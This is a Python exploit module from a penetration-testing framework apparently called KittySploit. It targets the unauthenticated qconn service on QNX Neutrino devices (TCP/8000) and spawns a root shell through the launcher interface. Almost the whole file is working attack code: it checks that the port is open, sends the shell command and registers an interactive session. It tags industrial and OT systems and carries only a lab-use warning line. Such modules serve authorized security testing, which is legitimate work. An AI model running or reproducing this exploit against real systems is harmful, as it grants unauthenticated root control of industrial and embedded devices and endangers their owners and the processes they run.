QNX qconn remote command execution

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
QNX qconn remote command execution.

Abuses the qconn service on QNX Neutrino (default TCP/8000) to spawn a root shell
via the launcher interface without authentication.
"""

from __future__ import annotations

import socket

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.qnx.qconn_client import (
    QCONN_DEFAULT_PORT,
    is_qconn_port_open,
    launch_qconn_shell,
)
from lib.protocols.tcp.tcp_client import Tcp_client


class Module(Exploit, Tcp_client, Handler):
    __info__ = {
        "name": "QNX qconn remote command execution",
        "description": (
            "Exploits unauthenticated access to the QNX Neutrino qconn service to execute "
            "arbitrary commands as root via the launcher interface (TCP/8000)."
        ),
        "author": [
            "David Odell",
            "Mor!p3r",
            "Brendan Coes",
            "wenzhe zhu",
            "KittySploit Team"],
        "references": [
            "OSVDB-86672",
            "EDB-21520",
            "https://www.fishnetsecurity.com/6labs/blog/pentesting-qnx-neutrino-rtos",
            "https://www.qnx.com/developers/docs/6.3.0SP3/neutrino/utilities/q/qconn.html"],
        "arch": [Arch.X86, Arch.X64],
        "platform": Platform.UNIX,
        "tags": ["ics", "qnx", "rtos", "qconn", "rce", "ot"],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 2,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals", "endpoints"],
            "chain": {
                "consumes_capabilities": ["credentials"],
                "produces_capabilities": [{'capability': 'ot_assets', 'from_detail': ''},
                                   "rce", "shell"],
            },
        },
    }

    target = OptString("", "Target IP or hostname", True)
    port = OptPort(QCONN_DEFAULT_PORT, "qconn TCP port", True)
    command = OptString("/bin/sh -", "Command to launch (interactive shell)", False)
    timeout = OptInteger(10, "Connection timeout in seconds", False)

    def _resolve_host(self) -> str:
        for attr in ("tcp_host", "target", "rhost"):
            value = getattr(self, attr, None)
            if hasattr(value, "value"):
                value = value.value
            host = str(value or "").strip()
            if host:
                return host
        return ""

    def _resolve_port(self) -> int:
        for attr in ("tcp_port", "port", "rport"):
            value = getattr(self, attr, None)
            if hasattr(value, "value"):
                value = value.value
            if value:
                return int(value)
        return QCONN_DEFAULT_PORT

    def _exploit(self):
        try:
            result = self.run()
            if result is None:
                return True
            return bool(result)
        except Exception as exc:
            print_error(f"Exploitation failed: {exc}")
            return False

    def check(self):
        host = self._resolve_host()
        if not host:
            return {"vulnerable": False, "reason": "target not set", "confidence": "low"}
        if is_qconn_port_open(host, self._resolve_port(), float(self.timeout or 10)):
            return {
                "vulnerable": True,
                "reason": f"qconn port {self._resolve_port()} open",
                "confidence": "low",
            }
        return {
            "vulnerable": False,
            "reason": f"TCP {self._resolve_port()} closed",
            "confidence": "high",
        }

    def run(self):
        host = self._resolve_host()
        port = self._resolve_port()
        if not host:
            print_error("Target is required")
            return False

        command = str(self.command or "/bin/sh -")
        timeout = float(self.timeout or 10)

        if not is_qconn_port_open(host, port, timeout):
            print_error(f"Target port {host}:{port} is not reachable")
            return False

        print_success("Target qconn port is open")
        print_status(f"Launching remote command on {host}:{port}...")
        print_warning("Authorized lab use only — spawns root shell on QNX target")

        try:
            shell_sock = launch_qconn_shell(host, port, command, timeout)
        except (OSError, socket.timeout) as exc:
            print_error(f"qconn launcher failed: {exc}")
            return False

        session_data = {
            "protocol": "qconn",
            "exploit": "qnx_qconn",
            "command": command,
            "platform": "qnx",
        }
        session_id = self.handler_tcp(
            connection=shell_sock,
            host=host,
            port=port,
            additional_data=session_data,
        )
        if not session_id:
            try:
                shell_sock.close()
            except OSError:
                pass
            print_error("Failed to register shell session")
            return False

        if self.framework and hasattr(self.framework, "session_manager"):
            session = self.framework.session_manager.get_session(session_id)
            if session and isinstance(session.data, dict):
                session.data["socket"] = shell_sock
                session.data["connection"] = shell_sock

        print_success(f"QNX shell session created: {session_id}")
        print_info(f"Interact with: sessions -i {session_id}")
        return True